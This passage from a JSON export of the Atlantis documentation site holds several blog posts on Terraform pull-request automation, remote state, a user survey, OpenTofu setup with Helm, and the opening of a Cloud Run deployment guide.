gained many new users. It has been an amazing time, but I've been working for free! I've always known that for Atlantis to be successful in the long term, I would need to find a way to support myself.\n\nA couple of weeks ago, as I was playing around with Atlantis monetization strategies, HashiCorp contacted me. I learned that they shared a vision of building Terraform collaboration solutions for the broader community and that they were interested in combining forces. They also assured me that they wanted to do right by the Atlantis community.\n\nThis was a compelling offer versus solo-founding a company around Atlantis: I would be able to focus on coding and product instead of business and sales and I could spend all of my time on Atlantis and the larger story of Terraform collaboration. As a result, I came to the conclusion that joining HashiCorp was the right decision for me and the community.\n\n## Conclusion\n\nAtlantis has been a passion of mine for almost two years now. I deeply care about the future of the project and its community and I know that this move will ensure that that future is bright.\n\nThere are probably some questions I haven't answered in this post so please don't hesitate to reach out, either via [Twitter](https://twitter.com/lkysow) or on the [Atlantis Slack](https://slack.cncf.io/).\n\nI'm excited for the future of Atlantis and Terraform collaboration and I hope you are too.\n"
  },
  {
    "path": "runatlantis.io/blog/2018/putting-the-dev-into-devops-why-your-developers-should-write-terraform-too.md",
    "content": "---\ntitle: \"Putting The Dev Into DevOps: Why Your Developers Should Write Terraform Too\"\nlang: en-US\n---\n\n# Putting The Dev Into DevOps: Why Your Developers Should Write Terraform Too\n\n::: info\nThis post was originally written on August 29th, 2018\n\nOriginal post: <https://medium.com/runatlantis/putting-the-dev-into-devops-why-your-developers-should-write-terraform-too-d3c079dfc6a8>\n:::\n\n[Terraform](https://www.terraform.io/) is an amazing tool for provisioning infrastructure. Terraform enables your operators to perform their work faster and more reliably.\n\n**But if only your ops team is writing Terraform, you're missing out.**\n\nTerraform is not just a tool that makes ops teams more effective. Adopting Terraform is an opportunity to turn all of your developers into operators (at least for smaller tasks). This can make your entire engineering team more effective and create a better relationship between developers and operators.\n\n### Quick Aside — What is Terraform?\n\nTerraform is two things. It's a language for describing infrastructure:\n\n```tf\nresource \"aws_instance\" \"example\" {\n  ami           = \"ami-2757f631\"\n  instance_type = \"t2.micro\"\n}\n```\n\nAnd it's a CLI tool that reads Terraform code and makes API calls to AWS (or any other cloud provider) to provision that infrastructure.\n\nIn this example, we're using the CLI to run `terraform apply` which will create an EC2 instance:\n\n```sh\n$ terraform apply\n\nTerraform will perform the following actions:\n\n  # aws_instance.example\n  + aws_instance.example\n      ami:              \"ami-2757f631\"\n      instance_type:    \"t2.micro\"\n      ...\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nDo you want to perform these actions?\n  Terraform will perform the actions described above.\n  Only 'yes' will be accepted to approve.\n\n  Enter a value: yes\n\naws_instance.example: Creating...\n  ami:              \"\" => \"ami-2757f631\"\n  instance_type:    \"\" => \"t2.micro\"\n  ...\n\naws_instance.example: Still creating... (10s elapsed)\naws_instance.example: Creation complete\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n```\n\n## Terraform Adoption From A Dev's Perspective\n\nAdopting Terraform is great for your operations team's effectiveness but it doesn't change much for devs. Before Terraform adoption, devs typically interacted with an ops team like this:\n\n![](putting-the-dev-into-devops/pic1.webp)\n\n1. **Dev: Creates ticket asking for some ops work**\n2. **Dev: Waits**\n3. _Ops: Looks at ticket when in queue_\n4. _Ops: Does work_\n5. _Ops: Updates ticket_\n6. **Dev: Continues their work**\n\nAfter the Ops team adopts Terraform, the workflow from a dev's perspective is the same!\n\n![](putting-the-dev-into-devops/pic2.webp)\n\n1. **Dev: Creates ticket asking for some ops work**\n2. **Dev: Waits**\n3. _Ops: Looks at ticket when in queue_\n4. _Ops: Does work. This time using Terraform (TF)_\n5. _Ops: Updates ticket_\n6. **Dev: Continues their work**\n\nWith Terraform, there's less of Step 2 (Dev: Waits) but apart from that, not much has changed.\n\n> If only ops is writing Terraform, your developers' experience is the same.\n\n## Devs Want To Help\n\nDevelopers would love to help out with operations work. They know that for small changes they should be able to do the work themselves (with a review from ops). For example:\n\n- Adding a new security group rule\n- Increasing the size of an autoscaling group\n- Using a larger instance because their app needs more memory\n\nDevelopers could make all of these changes because they're small and well defined. Also, previous examples of doing the same thing can guide them.\n\n## ...But Often They're Not Allowed\n\nIn many organizations, devs are locked out of the cloud console.\n\n![](putting-the-dev-into-devops/pic3.webp)\n\nThey might be locked out for good reasons:\n\n- Security — You can do a lot of damage with full access to a cloud console\n- Compliance — Maybe your compliance requires only certain groups to have access\n- Cost — Devs might spin up some expensive resources and then forget about them\n\nEven if they have access, operations can be complicated:\n\n- It's often difficult to do seemingly simple things (think adding a security group rule that also requires peering VPCs). This means that just having access sometimes isn't enough. Devs might need help from an expert to get things done.\n\n## Enter Terraform\n\nWith Terraform, everything changes. Or at least it can.\n\nNow Devs can see in code how infrastructure is built. They can see the exact spot where security group rules are configured:\n\n```tf\nresource \"aws_security_group_rule\" \"allow_all\" {\n  type              = \"ingress\"\n  from_port         = 0\n  to_port           = 65535\n  protocol          = \"tcp\"\n  cidr_blocks       = [\"0.0.0.0/0\"]\n  security_group_id = \"sg-123456\"\n}\n\nresource \"aws_security_group_rule\" \"allow_office\" {\n  ...\n}\n```\n\nOr where the size of the autoscaling group is set:\n\n```tf\nresource \"aws_autoscaling_group\" \"asg\" {\n  name               = \"my-asg\"\n  max_size           = 5\n  desired_capacity   = 4\n  min_size           = 2\n  ...\n}\n```\n\nDevs understand code (surprise!) so it's a lot easier for them to make those small changes.\n\nHere's the new workflow:\n\n![](putting-the-dev-into-devops/pic4.webp)\n\n1. **Dev: Writes Terraform code**\n2. **Dev: Creates pull request**\n3. _Ops: Reviews pull request_\n4. **Dev: Applies the change with Terraform (TF)**\n5. **Dev: Continues their work**\n\nNow:\n\n- Devs are making small changes themselves. This saves time and increases the speed of the whole engineering organization.\n- Devs can see exactly what is required to make the change. This means there's less back and forth over a ticket: “Okay so I know you need the security group opened between server A and B, but on which ports and with which protocol?”\n- Devs start to see how infrastructure is built. This increases cooperation between dev and ops because they can understand each other's work.\n\nGreat! But there's another problem.\n\n## Devs Are Locked Out Of Terraform Too\n\nIn order to execute Terraform you need to have cloud credentials! It's really hard to write Terraform without being able to run `terraform init` and `terraform plan`, for the same reason it would be hard to write code if you could never run it locally!\n\nSo are we back at square one?\n\n## Enter Atlantis\n\n[Atlantis](https://www.runatlantis.io/) is an [open source](https://github.com/runatlantis/atlantis) tool for running Terraform from pull requests. With Atlantis, Terraform is run on a separate server (Atlantis is self-hosted) so you don't need to give out credentials to everyone. Access is controlled through pull request approvals.\n\nHere's what the workflow looks like:\n\n### Step 1 — Create a Pull Request\n\nA developer creates a pull request with their change to add a security group rule.\n\n![](putting-the-dev-into-devops/pic5.webp)\n\n### Step 2 — Atlantis Runs Terraform Plan\n\nAtlantis automatically runs `terraform plan` and comments back on the pull request with the output. Now developers can fix their Terraform errors before asking for a review.\n\n![](putting-the-dev-into-devops/pic6.webp)\n\n### Step 3 — Fix The Terraform\n\nThe developer pushes a new commit that fixes their error and Atlantis comments back with the valid `terraform plan` output. Now the developer can verify that the plan output looks good.\n\n![](putting-the-dev-into-devops/pic7.webp)\n\n### Step 4 — Get Approval\n\nYou'll probably want to run Atlantis with the --require-approval flag that requires pull requests to be Approved before running atlantis apply.\n\n![](putting-the-dev-into-devops/pic8.webp)\n\n### Step 4a — Actually Get Approval\n\nAn operator can now come along and review the changes and the output of `terraform plan`. This is much faster than doing the change themselves.\n\n![](putting-the-dev-into-devops/pic9.webp)\n\n### Step 5 — Apply\n\nTo apply the changes, the developer or operator comments “atlantis apply”.\n\n![](putting-the-dev-into-devops/pic10.webp)\n\n## Success\n\nNow we've got a workflow that makes everyone happy:\n\n- Devs can write Terraform and iterate on the pull request until the `terraform plan` looks good\n- Operators can review pull requests and approve the changes before they're applied\n\nNow developers can make small operations changes and learn more about how infrastructure is built. Everyone can work more effectively and with a shared understanding that enhances collaboration.\n\n## Does It Work In Practice?\n\nAtlantis has been used by my previous company, Hootsuite, for over 2 years. It's used daily by 20 operators but it's also used occasionally by over 60 developers!\nAnother company uses Atlantis to manage 600+ Terraform repos collaborated on by over 300 developers and operators.\n\n## Next Steps\n\n- If you'd like to learn more about Terraform, check out HashiCorp's [Introduction to Terraform](https://developer.hashicorp.com/terraform/intro)\n- If you'd like to try out Atlantis, go to <www.runatlantis.io>\n- If you have any questions, reach out to me on Twitter ([at]lkysow) or in the comments below.\n\n## Credits\n\n- Thanks to [Seth Vargo](https://medium.com/@sethvargo) for his talk [Version-Controlled Infrastructure with GitHub](https://www.youtube.com/watch?v=2TWqi7dLSro) that inspired a lot of this post.\n- Thanks to Isha for reading drafts of this post.\n- Icons in graphics from made by [Freepik](https://www.freepik.com/) from [Flaticon](https://www.flaticon.com/) and licensed by [CC 3.0](https://creativecommons.org/licenses/by/3.0/)\n"
  },
  {
    "path": "runatlantis.io/blog/2018/terraform-and-the-dangers-of-applying-locally.md",
    "content": "---\ntitle: Terraform And The Dangers Of Applying Locally\nlang: en-US\n---\n\n# Terraform And The Dangers Of Applying Locally\n\n::: info\nThis post was originally written on July 13th, 2018\n\nOriginal post: <https://medium.com/runatlantis/terraform-and-the-dangers-of-applying-locally-543563782a73>\n:::\n\nIf you're using Terraform then at some point you've likely ran a `terraform apply` that reverted someone else's change!\n\nHere's how that tends to happen:\n\n## The Setup\n\nSay we have two developers: Alice and Bob. Alice needs to add a new security group rule. She checks out a new branch, adds her rule and creates a pull request:\n\n![](terraform-and-the-dangers-of-applying-locally/pic1.webp)\n\nWhen she runs `terraform plan` locally she sees what she expects.\n\n![](terraform-and-the-dangers-of-applying-locally/pic2.webp)\n\nMeanwhile, Bob is working on an emergency fix. He checks out a new branch and adds a different security group rule called `emergency`:\n\n![](terraform-and-the-dangers-of-applying-locally/pic3.webp)\n\nAnd, because it's an emergency, he **immediately runs apply**:\n\n![](terraform-and-the-dangers-of-applying-locally/pic4.webp)\n\nNow back to Alice. She's just gotten approval on her pull request change and so she runs `terraform apply`:\n\n![](terraform-and-the-dangers-of-applying-locally/pic5.webp)\n\nDid you catch what happened? Did you notice that the `apply` deleted Bob's rule?\n\n![](terraform-and-the-dangers-of-applying-locally/pic6.webp)\n\nIn this example, it wasn't too hard to see. However if the plan is much longer, or if the change is less obvious then it can be easy to miss.\n\n## Possible Solutions\n\nThere are some ways to avoid this:\n\n### Use terraform plan `-out`\n\nIf Alice had run `terraform plan -out plan.tfplan` then when she ran `terraform apply plan.tfplan` she would see:\n\n![](terraform-and-the-dangers-of-applying-locally/pic7.webp)\n\nThe problem with this solution is that few people run `terraform plan` anymore, much less `terraform plan -out`!\n\n<iframe src=\"https://cdn.embedly.com/widgets/media.html?type=text%2Fhtml&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;schema=twitter&amp;url=https%3A//twitter.com/sethvargo/status/989979940098424832&amp;image=https%3A//i.embed.ly/1/image%3Furl%3Dhttps%253A%252F%252Fpbs.twimg.com%252Fprofile_images%252F808025120296013825%252FfrGuc14s_400x400.jpg%26key%3Da19fcc184b9711e1b4764040d3dc5c07\" allowfullscreen=\"\" frameborder=\"0\" height=\"249\" width=\"680\" title=\"Seth Vargo on Twitter\" class=\"fr n gh dv bg\" scrolling=\"no\"></iframe>\n\nIt's easier to just run `terraform apply` and humans will take the easier path most of the time.\n\n### Wrap `terraform apply` to ensure up to date with `master`\n\nAnother possible solution is to write a wrapper script that ensures our branch is up to date with `master`. But this doesn't solve the problem of Bob running `apply` locally and not yet merging to `master`. In this case, Alice's branch would have been up to date with `master` but not the latest apply'd state.\n\n### Be more disciplined\n\nWhat if everyone:\n\n- ALWAYS created a branch, got a pull request review, merged to `master` and then ran apply. And also everyone\n- ALWAYS checked to ensure their branch was rebased from `master`. And also everyone\n- ALWAYS carefully inspected the `terraform plan` output and made sure it was exactly what they expected\n\n...then we wouldn't have a problem!\n\nUnfortunately this is not a real solution. We're all human and we're all going to make mistakes. Relying on people to follow a complicated process 100% of the time is not a solution because it doesn't work.\n\n## Core Problem\n\nThe core problem is that everyone is applying from their own workstations and it's up to them to ensure that they're up to date and that they keep `master` up to date. This is like developers deploying to production from their laptops.\n\n### What if, instead of applying locally, a remote system did the apply's?\n\nThis is why we built [Atlantis](https://www.runatlantis.io/) – an open source project for Terraform automation by pull request. You could also accomplished this with your own CI system or with [Terraform Enterprise](https://www.hashicorp.com/products/terraform). Here's how Atlantis solves this issue:\n\nWhen Alice makes her change, she creates a pull request and Atlantis automatically runs `terraform plan` and comments on the pull request.\n\nWhen Bob makes his change, he creates a pull request and Atlantis automatically runs `terraform plan` and comments on the pull request.\n\n![](terraform-and-the-dangers-of-applying-locally/pic8.webp)\n\nAtlantis also **locks the directory** to ensure that no one else can run `plan` or `apply` until Alice's plan has been intentionally deleted or she merges the pull request.\n\nIf Bob creates a pull request for his emergency change he'd see this error:\n\n![](terraform-and-the-dangers-of-applying-locally/pic9.webp)\n\nAlice can then comment `atlantis apply` and Atlantis will run the apply itself:\n\n![](terraform-and-the-dangers-of-applying-locally/pic10.webp)\n\nFinally, she merges the pull request and unlocks Bob's branch:\n\n![](terraform-and-the-dangers-of-applying-locally/pic11.webp)\n\n### But what if Bob ran `apply` locally?\n\nIn that case, Alice is still okay because when Atlantis ran `terraform plan` it used `-out`. If Alice tries to apply that plan, Terraform will give an error because the plan was generated against an old state.\n\n### Why does Atlantis run `apply` on the branch and not after a merge to `master`?\n\nWe do this because `terraform apply` fails quite often, despite `terraform plan` succeeding. Usually it's because of a dependency issue between resources or because the cloud provider requires a certain format or a certain field to be set. Regardless, in practice we've found that `apply` fails a lot.\n\nBy locking the directory, we're essentially ensuring that the branch being `apply`'d is `\"master\"` since no one else can modify that state. We then get the benefit of being able to iterate on the pull request and push small fixes until we're sure that the changeset is `apply`'d. If `apply` failed after merging to `master`, we'd have to open new pull requests over and over again. There is definitely a tradeoff here, however we believe it's the right tradeoff.\n\n## Conclusion\n\nIn conclusion, running `terraform apply` when you're working with a team of operators can be dangerous. Look to solutions like your own CI, Atlantis or Terraform Enterprise to ensure you're always working off the latest code that was `apply`'d.\n\nIf you'd like to try Atlantis, you can get started here: <https://www.runatlantis.io/guide/>\n"
  },
  {
    "path": "runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage.md",
    "content": "---\ntitle: 4 Reasons To Try HashiCorp's (New) Free Terraform Remote State Storage\nlang: en-US\n---\n\n# 4 Reasons To Try HashiCorp's (New) Free Terraform Remote State Storage\n\n::: info\nThis post was originally written on April 2nd, 2019\n\nOriginal post: <https://medium.com/runatlantis/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage-b03f01bfd251>\n:::\n\nUpdate (May 20/19) — Free State Storage is now called Terraform Cloud and is out of Beta, meaning anyone can sign up!\n\nHashiCorp is planning to offer free Terraform Remote State Storage and they have a beta version available now. In this article, I talk about 4 reasons you should try it (Disclosure: I work at HashiCorp).\n\n> _Sign up for Terraform Cloud [here](https://goo.gl/X5t5EM)._\n\n## What is Terraform State?\n\nBefore I get into why you should use the new remote state storage, let's talk about what exactly we mean by state in Terraform.\n\nTerraform uses _state_ to map your Terraform code to the real-world resources that it provisions. For example, if I have Terraform code to create an AWS EC2 instance:\n\n```tf\nresource \"aws_instance\" \"web\" {\n  ami           = \"ami-e6d9d68c\"\n  instance_type = \"t2.micro\"\n}\n```\n\nWhen I run `terraform apply`, Terraform will make a “create EC2 instance” API call to AWS and AWS will return the unique ID of that instance (ex. `i-0ad17607e5ee026d0`). Terraform needs to record that ID somewhere so that later, it can make API calls to change or delete the instance.\n\nTo store this information, Terraform uses a state file. For the above code, the state file will look something like:\n\n```json{4,7}\n{\n    ...\n    \"resources\": {\n      \"aws_instance.web\": {\n        \"type\": \"aws_instance\",\n        \"primary\": {\n          \"id\": \"i-0ad17607e5ee026d0\",\n     ...\n}\n```\n\nHere you can see that the resource `aws_instance.web` from our Terraform code is mapped to the instance ID `i-0ad17607e5ee026d0`.\n\nSo if Terraform state is just a file, then what is remote state?\n\n## Remote State\n\nBy default, Terraform writes its state file to your local filesystem. This is okay for personal projects, but once you start working with a team, things get messy. In a team, you need to make sure everyone has an up to date version of the state file **and** ensure that two people aren't making concurrent changes.\n\nEnter remote state! Remote state is just storing the state file remotely, rather than on your filesystem. With remote state, there's only one copy so Terraform can ensure you're always up to date. To prevent team members from modifying state at the same time, Terraform can lock the remote state.\n\n> Remote state is just storing the state file remotely, rather than on your filesystem.\n\nAlright, so remote state is great, but unfortunately setting it up can be a bit tricky. In AWS, you can store it in an S3 bucket, but you need to create the bucket, configure it properly, set up its permissions properly, create a DynamoDB table for locking and then ensure everyone has proper credentials to write to it. It's much the same story in the other clouds.\n\nAs a result, setting up remote state can be an annoying stumbling block as teams adopt Terraform.\n\nThis brings us to the first reason to try HashiCorp's Free Remote State Storage...\n\n## Reason #1 — Easy To Set Up\n\nUnlike other remote state solutions that require complicated setup to get right, setting up free remote state storage is easy.\n\n> Setting up HashiCorp's free remote state storage is easy\n\nStep 1 — Sign up for your [free Terraform Cloud](https://app.terraform.io/signup) account\n\nStep 2 — When you log in, you'll land on this page where you'll create your organization:\n\n![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic1.webp)\n\nStep 3 — Next, go into User Settings and generate a token:\n\n![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic2.webp)\n\nStep 4 — Take this token and create a local ~/.terraformrc file:\n\n```tf\ncredentials \"app.terraform.io\" {\n  token = \"mhVn15hHLylFvQ.atlasv1.jAH...\"\n}\n```\n\nStep 5 — That's it! Now you're ready to store your state.\n\nIn your Terraform project, add a `terraform` block:\n\n```tf{3,5}\nterraform {\n  backend \"remote\" {\n    organization = \"my-org\" # org name from step 2.\n    workspaces {\n      name = \"my-app\" # name for your app's state.\n    }\n  }\n}\n```\n\nRun `terraform init` and tada! Your state is now being stored in Terraform Enterprise. You can see the state in the UI:\n\n![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic3.webp)\n\nSpeaking of seeing state in a UI...\n\n## Reason #2 — Fully Featured State Viewer\n\nThe second reason to try Terraform Cloud is its fully featured state viewer:\n\n![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic4.webp)\n\nIf you've ever messed up your Terraform state and needed to download an old version or wanted an audit log to know who changed what, then you'll love this feature.\n\nYou can view the full state file at each point in time:\n\n![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic5.webp)\n\nYou can also see the diff of what changed:\n\n![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic6.webp)\n\nOf course, you can find a way to get this information from some of the other state backends, but it's difficult. With HashiCorp's remote state storage, you get it for free.\n\n## Reason #3 — Manual Locking\n\nThe third reason to try Terraform Cloud is the ability to manually lock your state.\n\nEver been working on a piece of infrastructure and wanted to ensure that no one could make any changes to it at the same time?\n\nTerraform Cloud comes with the ability to lock and unlock states from the UI:\n\n![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic7.webp)\n\nWhile the state is locked, `terraform` operations will receive an error:\n\n![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic8.webp)\n\nThis saves you a lot of these:\n\n![](4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic9.webp)\n\n## Reason #4 — Works With Atlantis\n\nThe final reason to try out Terraform Cloud is that it works flawlessly with [Atlantis](https://www.runatlantis.io/)!\n\nSet a `ATLANTIS_TFE_TOKEN` environment variable to a TFE token and you're ready to go. Head over to <https://www.runatlantis.io/docs/terraform-cloud.html> to learn more.\n\nConclusion\nI highly encourage you to try out the new free Remote State Storage backend. It's a compelling offering over other state backends thanks to its ease of set up, fully featured state viewer and locking capabilities.\n\nIf you're not on the waitlist, sign up here: <https://app.terraform.io/signup>.\n"
  },
  {
    "path": "runatlantis.io/blog/2024/april-2024-survey-results.md",
    "content": "---\ntitle: Atlantis User Survey Results\nlang: en-US\n---\n\n# Atlantis User Survey Results\n\nIn April 2024, the Core Atlantis Team launched an anonymous survey of our users. Over the two months the survey was open we received 354 responses, which we will use to better understand our community's needs and help prioritize our roadmap.\n\nOverall, the results below show that we have a diverse set of enthusiastic users, and that though many are still the classic Atlantis setup (a handful of repos running terraform against AWS in GitHub), there are many different use cases and directions the community are going and would like to see Atlantis support.\n\nWe are grateful for everyone who took the time to share their experiences with Atlantis. We plan to run this kind of survey on a semi-regular basis, stay tuned!\n\n## Anonymized Results\n\n### How do you interact with Atlantis?\n\n![](april-2024-survey-results/interact.webp)\n\nUnsurprisingly, most users of Atlantis wear multiple hats, involved throughout the development process.\n\n### How do you/your organization deploy Atlantis\n\n![](april-2024-survey-results/deploy.webp)\n\nMost users of terraform deploy using Kubernetes and/or AWS. \"Other Docker\" use docker but do not use EKS or Helm directly, while a minority use some other combination of technologies.\n\n### What Infrastructure as Code (IaC) tool(s) do you use with Atlantis?\n\n![](april-2024-survey-results/iac.webp)\n\nThe vast majority of Atlantis users are still using terraform as some part of their deployment. About half of them are in addition using Terragrunt, and OpenTofu seems to be gaining some ground.\n\n### How many repositories does your Atlantis manage?\n\n![](april-2024-survey-results/repos.webp)\n\nMost users have relatively modest footprints to managed with Atlantis (though a few large monorepos could be obscured in the numbers).\n\n### Which Version Control Systems (VCSs) do you use?\n\n![](april-2024-survey-results/vcs.webp)\n\nMost users of Atlantis are using GitHub, with a sizeable chunk on GitLab, followed by Bitbucket and others. This is analogous to the support and feature requests that the maintainers see for the various VCSs in the codebase.\n\n### What is the most important feature you find missing from Atlantis?\n\n![](april-2024-survey-results/features.webp)\n\nThis being a free form question, there was a long tail of responses, so the above only shows answers after normalizing that had three or more instances.\n\nDrift Detection as well as infrastructure improvements were the obvious winners here. After that, users focused on various integrations and improvements to the UI.\n\n## Conclusion\n\nIt is always interesting and exciting for the core team to see the breadth of the use of Atlantis, and we look forward to using this information to understand the needs of the community. Atlantis has always been a community led effort, and we hope to continue to carry that spirit forward!\n"
  },
  {
    "path": "runatlantis.io/blog/2024/integrating-atlantis-with-opentofu.md",
    "content": "---\ntitle: Integrating Atlantis with Opentofu\nlang: en-US\n---\n\n# Integrating Atlantis with Opentofu\n\n::: info\nThis post was originally written on May 27nd, 2024\nOriginal post: <https://dev.to/jmateusousa/integrating-atlantis-with-opentofu-lnd>\n:::\n\n## What was our motivation?\n\nDue to the Terraform license change, many companies are migrating their IAC processes to OpenTofu, with this in mind and knowing that many of them use Atlantis and Terraform as infrastructure delivery automation, I created this documentation showing what to do to integrate Atlantis with OpenTofu.\n\nStack: Atlantis, Terragrunt, OpenTofu, Github, ALB, EKS.\n\nWe will implement it with your [Helm chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart):\n\n**1** - Add the runatlantis repository.\n\n```sh\nhelm repo add runatlantis https://runatlantis.github.io/helm-charts\n```\n\n**2** - Create file values.yaml and run:\n\n```sh\nhelm inspect values runatlantis/atlantis > values.yaml\n```\n\n**3** - Edit the file values.yaml and add your credentials access and secret which will be used in the Atlantis webhook configuration:\nSee as create a [GitHubApp](https://docs.github.com/pt/apps/creating-github-apps/about-creating-github-apps).\n\n```yaml\ngithubApp:\n  id: \"CHANGE ME\"\n  key: |\n    -----BEGIN RSA PRIVATE KEY-----\n            \"CHANGE ME\"\n    -----END RSA PRIVATE KEY-----\n  slug: atlantis\n# secret webhook Atlantis\n  secret: \"CHANGE ME\"\n```\n\n**4** - Enter the org and repository from github that Atlantis will interact in orgAllowlist:\n\n```yaml\n# All repositories the org\norgAllowlist: github.com/MY-ORG/*\n\nor\n# Just one repository\norgAllowlist: github.com/MY-ORG/MY-REPO-IAC\n\nor\n# All repositories that start with MY-REPO-IAC-\norgAllowlist: github.com/MY-ORG/MY-REPO-IAC-*\n```\n\n**5** - Now let’s configure the script that will be executed upon startup of the Atlantis init pod. In this step we download and install Terragrunt and OpenTofu, as well as include their binaries in the shared dir ```/plugins```.\n\n```yaml\ninitConfig:\n  enabled: true\n  image: alpine:latest\n  imagePullPolicy: IfNotPresent\n  # sharedDir is set as env var INIT_SHARED_DIR\n  sharedDir: /plugins\n  workDir: /tmp\n  sizeLimit: 250Mi\n  # example of how the script can be configured to install tools/providers required by the atlantis pod\n  script: |\n    #!/bin/sh\n    set -eoux pipefail# terragrunt\n    TG_VERSION=\"0.55.10\"\n    TG_SHA256_SUM=\"1ad609399352348a41bb5ea96fdff5c7a18ac223742f60603a557a54fc8c6cff\"\n    TG_FILE=\"${INIT_SHARED_DIR}/terragrunt\"\n    wget https://github.com/gruntwork-io/terragrunt/releases/download/v${TG_VERSION}/terragrunt_linux_amd64 -O \"${TG_FILE}\"\n    echo \"${TG_SHA256_SUM} ${TG_FILE}\" | sha256sum -c\n    chmod 755 \"${TG_FILE}\"\n    terragrunt -v\n\n    # OpenTofu\n    TF_VERSION=\"1.6.2\"\n    TF_FILE=\"${INIT_SHARED_DIR}/tofu\"\n    wget https://github.com/opentofu/opentofu/releases/download/v${TF_VERSION}/tofu_${TF_VERSION}_linux_amd64.zip\n    unzip tofu_${TF_VERSION}_linux_amd64.zip\n    mv tofu ${INIT_SHARED_DIR}\n    chmod 755 \"${TF_FILE}\"\n    tofu -v\n```\n\n**6** - Here we configure the envs to avoid downloading alternative versions of Terraform and indicate to Terragrunt where it should fetch the OpenTofu binary.\n\n```yaml\n# envs\nenvironment:\n  ATLANTIS_TF_DOWNLOAD: false\n  TERRAGRUNT_TFPATH: /plugins/tofu\n```\n\n**7** - Last but not least, here we specify which Atlantis-side configurations we will have for the repositories.\n\n```yaml\n# repository config\nrepoConfig: |\n  ---\n  repos:\n  - id: /.*/\n    apply_requirements: [approved, mergeable]\n    allow_custom_workflows: true\n    allowed_overrides: [workflow, apply_requirements, delete_source_branch_on_merge]\n```\n\n**8** - Configure Atlantis webhook ingress, in the example below we are using the AWS ALB.\n\n```yaml\n# ingress config\ningress:\n  annotations:\n    alb.ingress.kubernetes.io/backend-protocol: HTTP\n    alb.ingress.kubernetes.io/certificate-arn: arn:aws:acm:certificate\n    alb.ingress.kubernetes.io/group.name: external-atlantis\n    alb.ingress.kubernetes.io/healthcheck-path: /healthz\n    alb.ingress.kubernetes.io/healthcheck-port: \"80\"\n    alb.ingress.kubernetes.io/healthcheck-protocol: HTTP\n    alb.ingress.kubernetes.io/listen-ports: '[{\"HTTPS\":443}]'\n    alb.ingress.kubernetes.io/scheme: internet-facing\n    alb.ingress.kubernetes.io/ssl-redirect: \"443\"\n    alb.ingress.kubernetes.io/success-codes: \"200\"\n    alb.ingress.kubernetes.io/target-type: ip\n  apiVersion: networking.k8s.io/v1\n  enabled: true\n  host: atlantis.your.domain\n  ingressClassName: aws-ingress-class-name\n  path: /*\n  pathType: ImplementationSpecific\n```\n\nSave all changes made to ```values.yaml```\n\n**9** - Using one of the Atlantis options custom workflows, we can create a file ```atlantis.yaml``` in the root folder of your repository, the example below should meet most scenarios, adapt as needed.\n\n```yaml\nversion: 3\nautomerge: true\nparallel_plan: true\nparallel_apply: false\nprojects:\n- name: terragrunt\n  dir: .\n  workspace: terragrunt\n  delete_source_branch_on_merge: true\n  autoplan:\n    enabled: false\n  apply_requirements: [mergeable, approved]\n  workflow: terragrunt\nworkflows:\n  terragrunt:\n    plan:\n      steps:\n      - env:\n          name: TF_IN_AUTOMATION\n          value: 'true'\n      - run: find . -name '.terragrunt-cache' | xargs rm -rf\n      - run: terragrunt init -reconfigure\n      - run:\n          command: terragrunt plan -input=false -out=$PLANFILE\n          output: strip_refreshing\n    apply:\n      steps:\n        - run: terragrunt apply $PLANFILE\n```\n\n**10** - Now let’s go to the installation itself, search for the available versions of Atlantis:\n\n```sh\nhelm search repo runatlantis\n```\n\nReplace ```CHART-VERSION``` with the version you want to install and run the command below:\n\n```sh\nhelm upgrade -i atlantis runatlantis/atlantis --version CHART-VERSION -f values.yaml --create-namespace atlantis\n```\n\nNow, see as configure Atlantis [webhook on github](../../docs/configuring-webhooks.md) repository.\n\nSee as Atlantis [work](../../docs/using-atlantis.md).\n\nFind out more at:\n\n- <https://www.runatlantis.io/guide.html>.\n- <https://opentofu.org/docs/>.\n- <https://github.com/runatlantis/atlantis/issues/3741>.\n\nShare it with your friends =)\n"
  },
  {
    "path": "runatlantis.io/blog/2025/atlantis-on-google-cloud-run.md",
    "content": "---\ntitle: Atlantis on Google Cloud Run\nlang: en-US\n---\n\n# Atlantis on Google Cloud Run\n\n::: info\nThough written for Google Cloud Run, this deployment architecture also applies to AWS Fargate, Azure Container Instances, and Kubernetes.\n:::\n\n::: info\nThis blog post covers the most important parts of the Terraform code. For a complete working example, see our [atlantis-on-gcp-cloud-run example](https://github.com/runatlantis/atlantis-contrib/tree/main/atlantis-on-cloud-run).\n:::\n\nMost Atlantis deployments run on self-managed VMs. While this is a familiar and straightforward option, it comes with challenges. Identities often become overly powerful, with direct or indirect access — through impersonation — to many resources and projects. High availability is also lacking: Atlantis writes its locking backend directly to disk, so if the VM goes down, Atlantis becomes unavailable. In short, self-managed VMs create a single point of failure, offer no horizontal scaling, and demand ongoing maintenance — from patching and OS upgrades to backups.\n\nIn this blog post, we will show how to run Atlantis on serverless container platforms like Google Cloud Run. Instead of a single instance, we will use a central database for locking, and deploy multiple Atlantis instances behind a load balancer. Each instance runs with its own identity and limited permissions, managing only its own projects. This architecture eliminates the single point of failure, allows horizontal scaling, and enables a least-privilege security model.\n\n## What we’ll build\n\nHere’s a high-level overview of the architecture we’ll build:\n\n![](atlantis-on-google-cloud-run/runatlantis-cloud-run-arch.drawio.png)\n\n1. An External HTTP(S) Load Balancer to route requests to multiple Atlantis instances.\n2. Multiple Atlantis instances running on Google Cloud Run.\n3. A Memorystore for Redis instance to provide a central locking backend.\n\n::: info\nIf you're looking to skip ahead, you can find the Terraform code for this architecture in our [atlantis-on-gcp-cloud-run example](https://github.com/runatlantis/atlantis-contrib/tree/main/atlantis-on-cloud-run).\n\nHowever, we recommend reading through the rest of this blog post to understand how it all 